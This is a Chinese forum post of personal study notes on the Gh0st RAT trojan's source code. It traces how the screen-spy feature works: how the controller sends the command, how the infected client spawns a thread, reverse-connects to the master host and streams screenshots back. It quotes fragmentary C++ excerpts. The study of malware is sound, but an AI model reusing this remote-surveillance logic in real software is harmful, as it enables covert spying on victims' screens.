呃呃昨日才注册的新人……希望老鸟多带一带……
第一次发帖!第一次发帖!第一次发帖!求关爱我知道排版肯定会有问题……可是预览在哪里啊
Gh0st的源码52里有一个客户端的分析;其他分析的人也有很多;我对gh0st的历史和其他大牛的分析也不是很了解。
gh0st的源码附在最后;不过看看就可以了,编译运行就不必了;编译起来还颇为麻烦。(我用的还是VC6.0时代的gh0st)程序使用的是MFC框架,现在看起来也颇为古色古香。
我就试着先只分析一下ScreenSpy这一个功能吧。有时间就写整个代码的框架和网络的通信吧?
总之这些只算是自己对自己的总结,自己的笔记,自己所学到的知识吧。
哦我用的方法是逐字逐函数的搜索:转到定义;全文搜索;API搜索。
話休絮煩。
大体流程:
控制端:点击“屏幕监控”按钮,触发了事件;于是主控端发送COMMAND_SCREEN_SPY
被控端:ClientSocket中的Connect函数有一个线程WorkThread,一直在等待执行命令
如果WorkThread线程等到了执行命令,调用OnRead函数对命令解密
如果解压成功,调用CKernelManager::OnReceive函数
创建Loop_ScreenManager线程
在CIOCPServer.ListenThreadProc中等待被控端反向连接
连接后主控端发送COMMAND_NEXT
受控端接收后发送第一张屏幕图像
最后一直相互传输
[C++] 纯文本查看 复制代码 oid CGh0stView::OnScreenspy()
{
// TODO: Add your command handler code here
BYTE bToken = COMMAND_SCREEN_SPY;
SendSelectCommand(&bToken, sizeof(BYTE));
}
这是主控端用于发送命令的一个方法;COMMAND_SCREEN_SPY只是一个枚举出的值。
WorkThread()
[C++] 纯文本查看 复制代码 {int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---接收主控端发来的数据
if (nSize <= 0)//其实最开始发送的数据有一个”gh0st”的数据头,然后是压缩的信息
{
pThis->Disconnect();
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);} //---正确接收就调用OnRead处理
OnRead()
[C++] 纯文本查看 复制代码 if (nRet == Z_OK)//如果,不成功==0
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());//如果解压成功,就执行CKernelManager的onreceive方法
}
OnReceive()
[mw_shl_code=cpp,true]
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,//新建了一个线程
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
Loop_ScreenManager()
[C++] 纯文本查看 复制代码
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote){
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);//二者关联,实例化一个CScreenManager
socketClient.run_event_loop();
return 0;}
//CManager类的构造函数:m_pClient->setManagerCallBack(this);
[C++] 纯文本查看 复制代码 CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)//构造函数
{
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);//负责发送屏幕页面;这里的WorkThread是CScreenManager里自带的线程方法
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
[C++] 纯文本查看 复制代码 DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)//现在开始回调了,传回主控端
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();//收到了打开的消息
pThis->sendFirstScreen();
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
与此同时,在遥远的主控端……
[Asm] 纯文本查看 复制代码 void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
{
...
case TOKEN_BITMAPINFO: /
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;//[color=#333333][font=Arial] API postmessage将一个消息放入(寄送)到与指定窗口创建的线程相联系消息队列里,不等待线程处理消息就返回,是异步消息模式。消息队列里的消息通过调用GetMessage和PeekMessage取得。[/font][/color]
break;
{
总之呢就是收到了回调的这个命令(TOKEN_WEBCAM_BITMAPINFO),我们就因为有API ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog),所以可以猜出来,我们在主控端里就打开了屏幕监视的窗口。
[C++] 纯文本查看 复制代码 BOOL CScreenSpyDlg::OnInitDialog() {
...
SendNext();//主控端屏幕监视的窗口,创建的时候就会发送指令给被控端
}
void CScreenSpyDlg::SendNext()
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
回到被控端的OnReceive()方法:{
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
}
所以,三条语句里,我们追踪完了第一条。
[C++] 纯文本查看 复制代码 DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)//现在开始回调了,传回主控端
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();//收到了打开的消息(现在已经打开了)
pThis->sendFirstScreen();
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
接下来就是发送屏幕图像信息了。蛮有趣的,但现在天色已经不早了……
|